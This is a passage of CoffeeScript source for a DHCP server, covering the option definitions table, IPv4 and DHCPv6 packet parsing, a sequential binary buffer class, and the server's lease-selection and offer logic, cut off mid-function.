Name' 62 | type: 'ASCII' 63 | config: 'hostname' 64 | 13: 65 | name: 'Boot File Size' 66 | type: 'UInt16' 67 | config: 'bootFileSize' 68 | 14: 69 | name: 'Merit Dump File' 70 | type: 'ASCII' 71 | config: 'dumpFile' 72 | 15: 73 | name: 'Domain Name' 74 | type: 'ASCII' 75 | config: 'domainName' 76 | 16: 77 | name: 'Swap Server' 78 | type: 'IP' 79 | config: 'swapServer' 80 | 17: 81 | name: 'Root Path' 82 | type: 'ASCII' 83 | config: 'rootPath' 84 | 18: 85 | name: 'Extension Path' 86 | type: 'ASCII' 87 | config: 'extensionPath' 88 | 19: 89 | name: 'IP Forwarding' 90 | type: 'UInt8' 91 | config: 'ipForwarding' 92 | enum: 93 | 0: 'Disabled' 94 | 1: 'Enabled' 95 | 20: 96 | name: 'Non-Local Source Routing' 97 | type: 'Bool' 98 | config: 'nonLocalSourceRouting' 99 | 21: 100 | name: 'Policy Filter' 101 | type: 'IPs' 102 | config: 'policyFilter' 103 | 22: 104 | name: 'Maximum Datagram Reassembly Size' 105 | type: 'UInt16' 106 | config: 'maxDatagramSize' 107 | 23: 108 | name: 'Default IP Time-to-live' 109 | type: 'UInt8' 110 | config: 'datagramTTL' 111 | 24: 112 | name: 'Path MTU Aging Timeout' 113 | type: 'UInt32' 114 | config: 'mtuTimeout' 115 | 25: 116 | name: 'Path MTU Plateau Table' 117 | type: 'UInt16s' 118 | config: 'mtuSizes' 119 | 26: 120 | name: 'Interface MTU' 121 | type: 'UInt16' 122 | config: 'mtuInterface' 123 | 27: 124 | name: 'All Subnets are Local' 125 | type: 'UInt8' 126 | config: 'subnetsAreLocal' 127 | enum: 128 | 0: 'Disabled' 129 | 1: 'Enabled' 130 | 28: 131 | name: 'Broadcast Address' 132 | type: 'IP' 133 | config: 'broadcast' 134 | default: -> 135 | range = @config 'range' 136 | ip = range[0] 137 | 138 | cidr = Tools.CIDRFromNetmask @config('netmask') 139 | 140 | Tools.formatIp Tools.broadcastFromIpCIDR ip, cidr 141 | 29: 142 | name: 'Perform Mask Discovery' 143 | type: 'UInt8' 144 | config: 'maskDiscovery' 145 | enum: 146 | 0: 'Disabled' 147 | 1: 'Enabled' 148 | 30: 149 | name: 'Mask Supplier' 150 | type: 'UInt8' 151 | config: 'maskSupplier' 152 | enum: 153 | 0: 'Disabled' 154 | 1: 'Enabled' 155 | 31: 156 | name: 'Perform Router Discovery' 157 | type: 'UInt8' 158 | config: 'routerDiscovery' 159 | enum: 160 | 0: 'Disabled' 161 | 1: 'Enabled' 162 | 32: 163 | name: 'Router Solicitation Address' 164 | type: 'IP' 165 | config: 'routerSolicitation' 166 | 33: 167 | name: 'Static Route' 168 | type: 'IPs' 169 | config: 'staticRoutes' 170 | 34: 171 | name: 'Trailer Encapsulation' 172 | type: 'Bool' 173 | config: 'trailerEncapsulation' 174 | 35: 175 | name: 'ARP Cache Timeout' 176 | type: 'UInt32' 177 | config: 'arpCacheTimeout' 178 | 36: 179 | name: 'Ethernet Encapsulation' 180 | type: 'Bool' 181 | config: 'ethernetEncapsulation' 182 | 37: 183 | name: 'TCP Default TTL' 184 | type: 'UInt8' 185 | config: 'tcpTTL' 186 | 38: 187 | name: 'TCP Keepalive Interval' 188 | type: 'UInt32' 189 | config: 'tcpKeepalive' 190 | 39: 191 | name: 'TCP Keepalive Garbage' 192 | type: 'Bool' 193 | config: 'tcpKeepaliveGarbage' 194 | 40: 195 | name: 'Network Information Service Domain' 196 | type: 'ASCII' 197 | config: 'nisDomain' 198 | 41: 199 | name: 'Network Information Servers' 200 | type: 'IPs' 201 | config: 'nisServer' 202 | 42: 203 | name: 'Network Time Protocol Servers' 204 | type: 'IPs' 205 | config: 'ntpServer' 206 | 43: 207 | name: 'Vendor Specific Information' 208 | type: 'UInt8s' 209 | config: 'vendor' 210 | 44: 211 | name: 'NetBIOS over TCP/IP Name Server' 212 | type: 'IPs' 213 | config: 'nbnsServer' 214 | 45: 215 | name: 'NetBIOS over TCP/IP Datagram Distribution Server' 216 | type: 'IP' 217 | config: 'nbddServer' 218 | 46: 219 | name: 'NetBIOS over TCP/IP Node Type' 220 | type: 'UInt8' 221 | enum: 222 | 0x1: 'B-node' 223 | 0x2: 'P-node' 224 | 0x4: 'M-node' 225 | 0x8: 'H-node' 226 | config: 'nbNodeType' 227 | 47: 228 | name: 'NetBIOS over TCP/IP Scope' 229 | type: 'ASCII' 230 | config: 'nbScope' 231 | 48: 232 | name: 'X Window System Font Server' 233 | type: 'IPs' 234 | config: 'xFontServer' 235 | 49: 236 | name: 'X Window System Display Manager' 237 | type: 'IPs' 238 | config: 'xDisplayManager' 239 | 50: 240 | name: 'Requested IP Address' 241 | type: 'IP' 242 | attr: 'requestedIpAddress' 243 | 51: 244 | name: 'IP Address Lease Time' 245 | type: 'UInt32' 246 | config: 'leaseTime' 247 | default: 86400 248 | 52: 249 | name: 'Option Overload' 250 | type: 'UInt8' 251 | enum: 252 | 1: 'file' 253 | 2: 'sname' 254 | 3: 'both' 255 | 53: 256 | name: 'DHCP Message Type' 257 | type: 'UInt8' 258 | enum: 259 | 1: 'DHCPDISCOVER' 260 | 2: 'DHCPOFFER' 261 | 3: 'DHCPREQUEST' 262 | 4: 'DHCPDECLINE' 263 | 5: 'DHCPACK' 264 | 6: 'DHCPNAK' 265 | 7: 'DHCPRELEASE' 266 | 8: 'DHCPINFORM' 267 | 54: 268 | name: 'Server Identifier' 269 | type: 'IP' 270 | config: 'server' 271 | 55: 272 | name: 'Parameter Request List' 273 | type: 'UInt8s' 274 | attr: 'requestParameter' 275 | 56: 276 | name: 'Message' 277 | type: 'ASCII' 278 | 57: 279 | name: 'Maximum DHCP Message Size' 280 | type: 'UInt16' 281 | config: 'maxMessageSize' 282 | default: 1500 283 | 58: 284 | name: 'Renewal (T1) Time Value' 285 | type: 'UInt32' 286 | config: 'renewalTime' 287 | default: 3600 288 | 59: 289 | name: 'Rebinding (T2) Time Value' 290 | type: 'UInt32' 291 | config: 'rebindingTime' 292 | default: 14400 293 | 60: 294 | name: 'Vendor Class-Identifier' 295 | type: 'ASCII' 296 | attr: 'vendorClassId' 297 | config: 'vendorClassId' 298 | 61: 299 | name: 'Client-Identifier' 300 | type: 'ASCII' 301 | attr: 'clientId' 302 | 64: 303 | name: 'Network Information Service+ Domain' 304 | type: 'ASCII' 305 | config: 'nisPlusDomain' 306 | 65: 307 | name: 'Network Information Service+ Servers' 308 | type: 'IPs' 309 | config: 'nisPlusServer' 310 | 66: 311 | name: 'TFTP server name' 312 | type: 'ASCII' 313 | config: 'tftpServer' 314 | 67: 315 | name: 'Bootfile name' 316 | type: 'ASCII' 317 | config: 'bootFile' 318 | 68: 319 | name: 'Mobile IP Home Agent' 320 | type: 'ASCII' 321 | config: 'homeAgentAddresses' 322 | 69: 323 | name: 'Simple Mail Transport Protocol (SMTP) Server' 324 | type: 'IPs' 325 | config: 'smtpServer' 326 | 70: 327 | name: 'Post Office Protocol (POP3) Server' 328 | type: 'IPs' 329 | config: 'pop3Server' 330 | 71: 331 | name: 'Network News Transport Protocol (NNTP) Server' 332 | type: 'IPs' 333 | config: 'nntpServer' 334 | 72: 335 | name: 'Default World Wide Web (WWW) Server' 336 | type: 'IPs' 337 | config: 'wwwServer' 338 | 73: 339 | name: 'Default Finger Server' 340 | type: 'IPs' 341 | config: 'fingerServer' 342 | 74: 343 | name: 'Default Internet Relay Chat (IRC) Server' 344 | type: 'IPs' 345 | config: 'ircServer' 346 | 75: 347 | name: 'StreetTalk Server' 348 | type: 'IPs' 349 | config: 'streetTalkServer' 350 | 76: 351 | name: 'StreetTalk Directory Assistance (STDA) Server' 352 | type: 'IPs' 353 | config: 'streetTalkDAServer' 354 | 80: 355 | name: 'Rapid Commit' 356 | type: 'Bool' 357 | attr: 'rapidCommit' 358 | 93: 359 | name: 'Client System' 360 | type: 'HEX' 361 | config: 'clientSystem' 362 | 94: 363 | name: 'Client NDI' 364 | type: 'HEX' 365 | attr: 'clientNdi' 366 | config: 'clientNdi' 367 | 97: 368 | name: 'UUID/GUID' 369 | type: 'HEX', 370 | config: 'uuidGuid' 371 | 116: 372 | name: 'Auto-Configure' 373 | type: 'UInt8' 374 | enum: 375 | 0: 'DoNotAutoConfigure' 376 | 1: 'AutoConfigure' 377 | attr: 'autoConfigure' 378 | 118: 379 | name: 'Subnet Selection' 380 | type: 'IP' 381 | config: 'subnetSelection' 382 | 119: 383 | name: 'Domain Search List' 384 | type: 'ASCII' 385 | config: 'domainSearchList' 386 | 121: 387 | name: 'Classless Route Option Format' 388 | type: 'IPs' 389 | config: 'classlessRoute' 390 | 145: 391 | name: 'Forcerenew Nonce' 392 | type: 'UInt8s' 393 | attr: 'renewNonce' 394 | 252: 395 | name: 'Web Proxy Auto-Discovery' 396 | type: 'ASCII' 397 | config: 'wpad' 398 | 1001: 399 | name: 'Static' 400 | config: 'static' 401 | 1002: 402 | name: 'Random IP' 403 | type: 'Bool' 404 | config: 'randomIP' 405 | default: true 406 | 407 | conf = {} 408 | attr = {} 409 | 410 | for i, v of opts 411 | if v.config 412 | conf[v.config] = parseInt(i, 10) 413 | else if v.attr 414 | conf[v.attr] = parseInt(i, 10) 415 | 416 | module.exports = { opts, conf, attr } 417 | -------------------------------------------------------------------------------- /src/dhcp/protocol.coffee: -------------------------------------------------------------------------------- 1 | SeqBuffer = require './seqbuffer' 2 | 3 | module.exports = 4 | parse: (buf) -> 5 | if buf.length < 230 6 | throw new Error 'Received data is too short' 7 | 8 | sb = new SeqBuffer buf 9 | 10 | op: sb.getUInt8() 11 | htype: htype = sb.getUInt8() 12 | hlen: hlen = sb.getUInt8() 13 | hops: sb.getUInt8() 14 | xid: sb.getUInt32() 15 | secs: sb.getUInt16() 16 | flags: sb.getUInt16() 17 | ciaddr: sb.getIP() 18 | yiaddr: sb.getIP() 19 | siaddr: sb.getIP() 20 | giaddr: sb.getIP() 21 | chaddr: sb.getMAC(htype, hlen) 22 | sname: sb.getUTF8(64) 23 | file: sb.getUTF8(128) 24 | magicCookie: sb.getUInt32() 25 | options: sb.getOptions() 26 | 27 | format: (data) -> 28 | sb = new SeqBuffer 29 | 30 | sb.addUInt8 data.op 31 | sb.addUInt8 data.htype 32 | sb.addUInt8 data.hlen 33 | sb.addUInt8 data.hops 34 | sb.addUInt32 data.xid 35 | sb.addUInt16 data.secs 36 | sb.addUInt16 data.flags 37 | sb.addIP data.ciaddr 38 | sb.addIP data.yiaddr 39 | sb.addIP data.siaddr 40 | sb.addIP data.giaddr 41 | sb.addMac data.chaddr 42 | sb.addUTF8Pad data.sname, 64 43 | sb.addUTF8Pad data.file, 128 44 | sb.addUInt32 0x63825363 45 | sb.addOptions data.options 46 | sb.addUInt8 255 47 | 48 | sb 49 | 50 | parseIpv6: (msg, rinfo) -> 51 | options = { op: msg.readUInt8(0) } 52 | 53 | offset = 0 54 | 55 | readAddressRaw = (msg, offset, len) -> 56 | addr = '' 57 | 58 | while len-- > 0 59 | b = msg.readUInt8(offset++) 60 | addr += (b + 0x100).toString(16).substr(-2) 61 | 62 | if len > 0 63 | addr += ':' 64 | 65 | addr 66 | 67 | if options.op is 12 68 | hopCount = msg.readUInt8(1) 69 | linkAddress = '' 70 | 71 | i = 2 72 | 73 | while i < 18 74 | if i != 2 75 | linkAddress = linkAddress + ':' 76 | 77 | linkHex = msg.readUInt16BE(i).toString(16) 78 | 79 | linkPre = switch linkHex.length 80 | when 3 then '0' 81 | when 2 then '00' 82 | when 1 then '000' 83 | else '' 84 | 85 | linkAddress = linkAddress + linkPre + linkHex 86 | 87 | i = i + 2 88 | 89 | linkAddress = linkAddress 90 | peerAddress = '' 91 | 92 | o = 18 93 | 94 | while o < 34 95 | if o != 18 96 | peerAddress = peerAddress + ':' 97 | 98 | peerHex = msg.readUInt16BE(o).toString(16) 99 | 100 | peerPre = switch peerHex.length 101 | when 3 then '0' 102 | when 2 then '00' 103 | when 1 then '000' 104 | else '' 105 | 106 | peerAddress = peerAddress + peerPre + peerHex 107 | 108 | o = o + 2 109 | 110 | peerAddress = peerAddress 111 | 112 | offset = 33 113 | else 114 | xid = msg.readUInt8(1).toString(16) + msg.readUInt8(2).toString(16) + msg.readUInt8(3).toString(16) 115 | 116 | options.xid = switch xid.length 117 | when 1 then '00000' + xid 118 | when 2 then '0000' + xid 119 | when 3 then '000' + xid 120 | when 4 then '00' + xid 121 | when 5 then '0' + xid 122 | 123 | offset = 3 124 | 125 | while offset < msg.length - 1 126 | optionCode = msg.readInt16BE(offset + 1) 127 | optionLen = msg.readInt16BE(offset + 3) 128 | 129 | offset = offset + 4 130 | 131 | switch optionCode 132 | when 1 133 | DUIDType = msg.readUInt16BE(offset + 1) 134 | iBuf = new Buffer(optionLen) 135 | 136 | msg.copy iBuf, 0, offset + 1, offset + 1 + optionLen 137 | 138 | options.clientIdentifierOption = switch DUIDType 139 | when 1 140 | buffer: iBuf 141 | DUIDType: DUIDType 142 | hardwareType: msg.readUInt16BE(offset + 3) 143 | time: msg.readUInt32BE(offset + 5) 144 | linkLayerAddress: readAddressRaw(msg, offset + 9, optionLen - 8) 145 | when 2 146 | buffer: iBuf 147 | DUIDType: DUIDType 148 | enterpriseNumber: undefined 149 | enterpriseNumberContd: undefined 150 | identifier: undefined 151 | when 3 152 | buffer: iBuf 153 | DUIDType: DUIDType 154 | hardwareType: msg.readUInt16BE(offset + 3) 155 | linkLayerAddress: readAddressRaw(msg, offset + 5, optionLen - 4) 156 | 157 | offset += optionLen 158 | 159 | break 160 | when 2 161 | DUIDType = msg.readUInt16BE(offset + 1) 162 | iBuf = new Buffer(optionLen) 163 | 164 | msg.copy iBuf, 0, offset + 1, offset + 1 + optionLen 165 | 166 | options.serverIdentifierOption = switch DUIDType 167 | when 1 168 | buffer: iBuf 169 | DUIDType: DUIDType 170 | hardwareType: msg.readUInt16BE(offset + 3) 171 | time: msg.readUInt32BE(offset + 5) 172 | linkLayerAddress: readAddressRaw(msg, offset + 9, optionLen - 8) 173 | when 2 174 | buffer: iBuf 175 | DUIDType: DUIDType 176 | enterpriseNumber: undefined 177 | enterpriseNumberContd: undefined 178 | identifier: undefined 179 | when 3 180 | buffer: iBuf 181 | DUIDType: DUIDType 182 | hardwareType: msg.readUInt16BE(offset + 3) 183 | linkLayerAddress: readAddressRaw(msg, offset + 5, optionLen - 4) 184 | 185 | offset += optionLen 186 | 187 | break 188 | when 3 189 | options.IA_NA = 190 | IAID: msg.readUInt32BE(offset + 1) 191 | T1: msg.readUInt32BE(offset + 5) 192 | T2: msg.readUInt32BE(offset + 9) 193 | 194 | offset += optionLen 195 | 196 | break 197 | when 6 198 | options.request = [] 199 | options.requestDesc = [] 200 | 201 | i6 = 1 202 | 203 | while i6 < optionLen 204 | num = msg.readUInt16BE(offset + i6) 205 | prot = protocol.DHCPv6OptionsCode.get(num) 206 | 207 | if prot and prot.name 208 | options.requestDesc.push prot.name 209 | 210 | options.request.push num 211 | 212 | i6 = i6 + 2 213 | 214 | offset += optionLen 215 | 216 | break 217 | when 8 218 | options.elapsedTime = msg.readUInt16BE(offset + 1) 219 | 220 | offset += optionLen 221 | 222 | break 223 | when 9 224 | relayBuf = new Buffer(optionLen) 225 | msg.copy relayBuf, 0, offset + 1, offset + 1 + optionLen 226 | 227 | options.dhcpRelayMessage = parser6.parse(relayBuf, rinfo) 228 | 229 | offset += optionLen 230 | 231 | break 232 | when 18 233 | interfaceID = new Buffer(optionLen) 234 | 235 | msg.copy interfaceID, 0, offset + 1, offset + 1 + optionLen 236 | 237 | options.interfaceID = 238 | hex: msg.toString('hex', offset + 1, offset + 1 + optionLen) 239 | buffer: interfaceID 240 | 241 | offset += optionLen 242 | 243 | break 244 | when 25 245 | options.IA_PD = 246 | IAID: msg.readUInt32BE(offset + 1) 247 | T1: msg.readUInt32BE(offset + 5) 248 | T2: msg.readUInt32BE(offset + 9) 249 | 250 | offset += optionLen 251 | 252 | break 253 | when 37 254 | options.relayAgentRemoteID = 255 | enterpriseNumber: msg.readUInt32BE(offset + 1) 256 | remoteId: msg.toString('hex', offset + 5, offset + 1 + optionLen) 257 | 258 | offset += optionLen 259 | 260 | break 261 | when 39 262 | options.clientFQDN = 263 | flags: msg.readUInt8(offset + 1) 264 | domainName: msg.toString('utf8', offset + 2, offset + 1 + optionLen) 265 | 266 | offset += optionLen 267 | 268 | break 269 | else 270 | codeName = DHCPV6.OPTIONSCODE[optionCode] 271 | 272 | console.log 'Unhandled DHCPv6 option ' + optionCode + ' (' + codeName + ')/' + optionLen + 'b' 273 | 274 | offset += optionLen 275 | 276 | break 277 | 278 | options 279 | -------------------------------------------------------------------------------- /src/dhcp/seqbuffer.coffee: -------------------------------------------------------------------------------- 1 | { opts } = require './options' 2 | 3 | trimZero = (str) -> 4 | pos = str.indexOf('\u0000') 5 | 6 | if pos == -1 then str else str.substr(0, pos) 7 | 8 | class SeqBuffer 9 | constructor: (buf, len) -> 10 | @_data = buf or Buffer.alloc(len or 1500) 11 | 12 | _data: null 13 | _r: 0 14 | _w: 0 15 | 16 | addUInt8: (val) -> 17 | @_w = @_data.writeUInt8(val, @_w, true) 18 | 19 | getUInt8: -> 20 | @_data.readUInt8 @_r++, true 21 | 22 | addInt8: (val) -> 23 | @_w = @_data.writeInt8(val, @_w, true) 24 | 25 | getInt8: -> 26 | @_data.readInt8 @_r++, true 27 | 28 | addUInt16: (val) -> 29 | @_w = @_data.writeUInt16BE(val, @_w, true) 30 | 31 | getUInt16: -> 32 | @_data.readUInt16BE (@_r += 2) - 2, true 33 | 34 | addInt16: (val) -> 35 | @_w = @_data.writeInt16BE(val, @_w, true) 36 | 37 | getInt16: -> 38 | @_data.readInt16BE (@_r += 2) - 2, true 39 | 40 | addUInt32: (val) -> 41 | @_w = @_data.writeUInt32BE(val, @_w, true) 42 | 43 | getUInt32: -> 44 | @_data.readUInt32BE (@_r += 4) - 4, true 45 | 46 | addInt32: (val) -> 47 | @_w = @_data.writeInt32BE(val, @_w, true) 48 | 49 | getInt32: -> 50 | @_data.readInt32BE (@_r += 4) - 4, true 51 | 52 | addUTF8: (val) -> 53 | @_w += @_data.write(val, @_w, 'utf8') 54 | 55 | addUTF8Pad: (val, fixLen) -> 56 | len = Buffer.from(val, 'utf8').length 57 | n = 0 58 | 59 | while len > fixLen 60 | val = val.slice(0, fixLen - n) 61 | len = Buffer.from(val, 'utf8').length 62 | 63 | n++ 64 | 65 | @_data.fill 0, @_w, @_w + fixLen 66 | @_data.write val, @_w, 'utf8' 67 | 68 | @_w += fixLen 69 | 70 | getUTF8: (len) -> 71 | trimZero @_data.toString('utf8', @_r, @_r += len) 72 | 73 | addASCII: (val) -> 74 | @_w += @_data.write(val, @_w, 'ascii') 75 | 76 | addASCIIPad: (val, fixLen) -> 77 | @_data.fill 0, @_w, @_w + fixLen 78 | @_data.write val.slice(0, fixLen), @_w, 'ascii' 79 | 80 | @_w += fixLen 81 | 82 | getASCII: (len) -> 83 | trimZero @_data.toString('ascii', @_r, @_r += len) 84 | 85 | addIP: (ip) -> 86 | return unless typeof ip is 'string' 87 | 88 | octs = ip.split('.') 89 | 90 | if octs.length != 4 91 | throw new Error('Invalid IP address ' + ip) 92 | 93 | for val in octs 94 | val = parseInt(val, 10) 95 | 96 | if 0 <= val and val < 256 97 | @addUInt8 val 98 | else 99 | throw new Error('Invalid IP address ' + ip) 100 | 101 | getIP: -> 102 | @getUInt8() + '.' + @getUInt8() + '.' + @getUInt8() + '.' + @getUInt8() 103 | 104 | addIPs: (ips) -> 105 | if ips instanceof Array 106 | for ip in ips 107 | @addIP ip 108 | else 109 | @addIP ips 110 | 111 | getIPs: (len) -> 112 | ret = [] 113 | i = 0 114 | 115 | while i < len 116 | ret.push @getIP() 117 | i += 4 118 | 119 | ret 120 | 121 | addHex: (val, fixLen) -> 122 | if fixLen 123 | @_data.fill 0, @_w, @_w + fixLen 124 | @_data.write val.slice(0, fixLen), @_w, 'hex' 125 | 126 | @_w += fixLen 127 | else 128 | @_w += @_data.write(val, @_w, 'hex') 129 | 130 | getHEX: (hlen) -> 131 | @_data.toString 'hex', @_r, @_r += hlen 132 | 133 | addMac: (mac) -> 134 | octs = mac.split(/[-:]/) 135 | 136 | if octs.length != 6 137 | throw new Error 'Invalid Mac address ' + mac 138 | 139 | for val in octs 140 | val = parseInt(val, 16) 141 | 142 | if 0 <= val and val < 256 143 | @addUInt8 val 144 | else 145 | throw new Error 'Invalid Mac address ' + mac 146 | 147 | @addUInt32 0 148 | @addUInt32 0 149 | @addUInt16 0 150 | 151 | getMAC: (htype, hlen) -> 152 | mac = @_data.toString 'hex', @_r, @_r += hlen 153 | 154 | if htype != 1 or hlen != 6 155 | throw new Error "Invalid hardware address (len=#{ hlen }, type=#{ htype })" 156 | 157 | @_r += 10 158 | 159 | mac.toUpperCase().match(/../g).join '-' 160 | 161 | addBool: -> 162 | return 163 | 164 | getBool: -> 165 | true 166 | 167 | addOptions: (ops) -> 168 | 169 | for own i, val of ops 170 | opt = opts[i] 171 | len = 0 172 | 173 | if val == null 174 | i += 4 175 | continue 176 | 177 | switch opt.type 178 | when 'UInt8', 'Int8' 179 | len = 1 180 | when 'UInt16', 'Int16' 181 | len = 2 182 | when 'UInt32', 'Int32', 'IP' 183 | len = 4 184 | when 'IPs' 185 | len = if val instanceof Array then 4 * val.length else 4 186 | when 'ASCII' 187 | len = val.length 188 | 189 | if len == 0 190 | i += 4 191 | continue 192 | 193 | if len > 255 194 | console.error val + ' too long, truncating...' 195 | val = val.slice 0, 255 196 | len = 255 197 | when 'HEX' 198 | len = val.length 199 | 200 | if len is 0 201 | continue 202 | 203 | if len > 255 204 | console.error val + ' too long, truncating...' 205 | 206 | val = val.slice 0, 255 207 | len = 255 208 | 209 | when 'UTF8' 210 | len = Buffer.from(val, 'utf8').length 211 | 212 | if len == 0 213 | i += 4 214 | continue 215 | 216 | n = 0 217 | 218 | while len > 255 219 | val = val.slice(0, 255 - n) 220 | len = Buffer.from(val, 'utf8').length 221 | 222 | n++ 223 | when 'Bool' 224 | if !(val == true or val == 1 or val == '1' or val == 'true' or val == 'TRUE' or val == 'True') 225 | n++ 226 | continue 227 | when 'UInt8s' 228 | len = if val instanceof Array then val.length else 1 229 | when 'UInt16s' 230 | len = if val instanceof Array then 2 * val.length else 2 231 | else 232 | throw new Error('No such type ' + opt.type) 233 | 234 | @addUInt8 i 235 | @addUInt8 len 236 | 237 | @['add' + opt.type] val 238 | 239 | getOptions: -> 240 | options = {} 241 | 242 | buf = @_data 243 | 244 | while @_r < buf.length 245 | opt = @getUInt8() 246 | 247 | if opt == 0xff 248 | break 249 | else if opt == 0x00 250 | @_r++ 251 | else 252 | len = @getUInt8() 253 | 254 | if opt of opts 255 | options[opt] = @['get' + opts[opt].type](len) 256 | else 257 | @_r += len 258 | 259 | console.error "Option #{ opt } not known" 260 | 261 | options 262 | 263 | addUInt8s: (arr) -> 264 | if arr instanceof Array 265 | i = 0 266 | 267 | while i < arr.length 268 | @addUInt8 arr[i] 269 | i++ 270 | else 271 | @addUInt8 arr 272 | 273 | getUInt8s: (len) -> 274 | ret = [] 275 | i = 0 276 | 277 | while i < len 278 | ret.push @getUInt8() 279 | i++ 280 | 281 | ret 282 | 283 | addUInt16s: (arr) -> 284 | if arr instanceof Array 285 | i = 0 286 | 287 | while i < arr.length 288 | @addUInt16 arr[i] 289 | i++ 290 | else 291 | @addUInt16 arr 292 | 293 | getUInt16s: (len) -> 294 | ret = [] 295 | i = 0 296 | 297 | while i < len 298 | ret.push @getUInt16() 299 | i += 2 300 | 301 | ret 302 | 303 | getHex: (len) -> 304 | @_data.toString 'hex', @_r, @_r += len 305 | 306 | module.exports = SeqBuffer 307 | -------------------------------------------------------------------------------- /src/dhcp/server.coffee: -------------------------------------------------------------------------------- 1 | dgram = require 'dgram' 2 | os = require 'os' 3 | 4 | { EventEmitter } = require 'events' 5 | 6 | Lease = require './lease' 7 | SeqBuffer = require './seqbuffer' 8 | Options = require './options' 9 | Protocol = require './protocol' 10 | Tools = require './tools' 11 | Ips = require '../ips' 12 | 13 | { 14 | DHCPDISCOVER, DHCPOFFER, DHCPREQUEST, DHCPDECLINE 15 | DHCPACK, DHCPNAK, DHCPRELEASE, DHCPINFORM 16 | SERVER_PORT, CLIENT_PORT 17 | INADDR_ANY, INADDR_BROADCAST 18 | BOOTREQUEST, BOOTREPLY, DHCPV6 19 | } = require './constants' 20 | 21 | class Server extends EventEmitter 22 | @createServer: (opt) -> 23 | new Server(opt) 24 | 25 | constructor: (config) -> 26 | super() 27 | 28 | sock = dgram.createSocket 29 | type: 'udp4' 30 | reuseAddr: true 31 | 32 | sock.on 'message', @ipv4Message.bind @ 33 | 34 | sock.on 'listening', => 35 | @emit 'listening', sock, '' 36 | 37 | sock.on 'close', => 38 | @emit 'close' 39 | 40 | sock6 = dgram.createSocket 41 | type: 'udp6' 42 | reuseAddr: true 43 | 44 | sock6.on 'message', @ipv6Message.bind @ 45 | 46 | sock6.on 'listening', => 47 | @emit 'listening', sock6, 'v6' 48 | 49 | sock6.on 'close', => 50 | @emit 'close' 51 | 52 | @_sock6 = sock6 53 | @_sock = sock 54 | 55 | @_conf = config 56 | @_state = {} 57 | 58 | ipv4Message: (buf) -> 59 | try 60 | req = Protocol.parse(buf) 61 | catch e 62 | @emit 'error', e 63 | return 64 | 65 | @emit 'message', req 66 | 67 | if req.op != BOOTREQUEST 68 | @emit 'error', new Error('Malformed packet'), req 69 | return 70 | 71 | if not req.options[53] 72 | return @handleRequest req 73 | 74 | switch req.options[53] 75 | when DHCPDISCOVER 76 | @handleDiscover req 77 | when DHCPREQUEST 78 | @handleRequest req 79 | 80 | ipv6Message: (buf, rinfo) -> 81 | try 82 | req = Protocol.parseIpv6(buf) 83 | catch e 84 | @emit 'error', e 85 | return 86 | 87 | @emit 'message', req 88 | 89 | @emit DHCPV6.MESSAGETYPE[req.op], req, rinfo 90 | 91 | config: (key) -> 92 | optId = Options.conf[key] 93 | 94 | if undefined != @_conf[key] 95 | val = @_conf[key] 96 | else if undefined != Options.opts[optId] 97 | val = Options.opts[optId].default 98 | 99 | if val == undefined 100 | return 0 101 | else 102 | throw new Error 'Invalid option ' + key 103 | 104 | if val instanceof Function 105 | val = val.call @ 106 | 107 | values = Options.opts[optId]?.enum 108 | 109 | if key not in [ 'range', 'static', 'randomIP' ] and values 110 | for i, v of values when v is val 111 | return parseInt i, 10 112 | 113 | if values[val] is undefined 114 | throw new Error 'Provided enum value for ' + key + ' is not valid' 115 | else 116 | val = parseInt val, 10 117 | 118 | val 119 | 120 | _getOptions: (pre, required, requested) -> 121 | for req in required 122 | if Options.opts[req] != undefined 123 | pre[req] ?= @config(Options.opts[req].config) 124 | 125 | if not pre[req] 126 | throw new Error "Required option #{ Options.opts[req].config } does not have a value set" 127 | else 128 | @emit 'error', 'Unknown option ' + req 129 | 130 | if requested 131 | for req in requested 132 | if Options.opts[req] isnt undefined and pre[req] is undefined 133 | val = @config(Options.opts[req].config) 134 | 135 | if val 136 | pre[req] = val 137 | else 138 | @emit 'error', 'Unknown option ' + req 139 | 140 | forceOptions = @_conf.forceOptions 141 | 142 | if Array.isArray forceOptions 143 | 144 | for option in forceOptions 145 | if isNaN option 146 | id = Options.conf[option] 147 | else 148 | id = option 149 | 150 | if id? and pre[id] is undefined 151 | pre[id] = @config(option) 152 | 153 | pre 154 | 155 | _selectAddress: (clientMAC, req) -> 156 | if @_state[clientMAC]?.address 157 | return @_state[clientMAC].address 158 | 159 | _static = @config 'static' 160 | 161 | if typeof _static is 'function' 162 | staticResult = _static clientMAC, req 163 | 164 | if staticResult 165 | return staticResult 166 | else if _static[clientMAC] 167 | return _static[clientMAC] 168 | 169 | randIP = @config 'randomIP' 170 | _tmp = @config 'range' 171 | 172 | firstIP = Tools.parseIp _tmp[0] 173 | lastIP = Tools.parseIp _tmp[1] 174 | 175 | ips = [ @config('server') ] 176 | 177 | oldestMac = null 178 | oldestTime = Infinity 179 | 180 | leases = 0 181 | 182 | for mac, v of @_state 183 | if v.address 184 | ips.push v.address 185 | 186 | if v.leaseTime < oldestTime 187 | oldestTime = v.leaseTime 188 | oldestMac = mac 189 | 190 | leases++ 191 | 192 | if oldestMac and lastIP - firstIP == leases 193 | ip = @_state[oldestMac].address 194 | 195 | delete @_state[oldestMac] 196 | 197 | return ip 198 | 199 | if randIP 200 | loop 201 | ip = Tools.formatIp(firstIP + Math.random() * (lastIP - firstIP) | 0) 202 | 203 | if ips.indexOf(ip) == -1 204 | return ip 205 | 206 | i = firstIP 207 | 208 | while i <= lastIP 209 | ip = Tools.formatIp i 210 | 211 | if ip not in ips 212 | return ip 213 | 214 | i++ 215 | 216 | handleDiscover: (req) -> 217 | lease = @_state[req.chaddr] = @_state[req.chaddr] or new Lease 218 | lease.address = @_selectAddress(req.chaddr, req) 219 | lease.leasePeriod = @config 'leaseTime' 220 | lease.server = @config 'server' 221 | lease.state = 'OFFERED' 222 | 223 | console.log '>>> DISCOVER', JSON.stringify lease 224 | 225 | @sendOffer req 226 | 227 | sendOffer: (req) -> 228 | if req.options[97] and req.options[55].indexOf(97) == -1 229 | req.options[55].push 97 230 | 231 | if req.options[60] and req.options[60].indexOf('PXEClient') == 0 232 | [ 66, 67 ].forEach (opt) -> 233 | if req.options[55].indexOf(opt) is -1 234 | req.options[55].push opt 235 | 236 | ans = 237 | op: BOOTREPLY 238 | htype: 1 239 | hlen: 6 240 | hops: 0 241 | xid: req.xid 242 | secs: 0 243 | flags: req.flags 244 | ciaddr: INADDR_ANY 245 | yiaddr: @_selectAddress req.chaddr 246 | siaddr: @config 'server' 247 | giaddr: req.giaddr 248 | chaddr: req.chaddr 249 | sname: '' 250 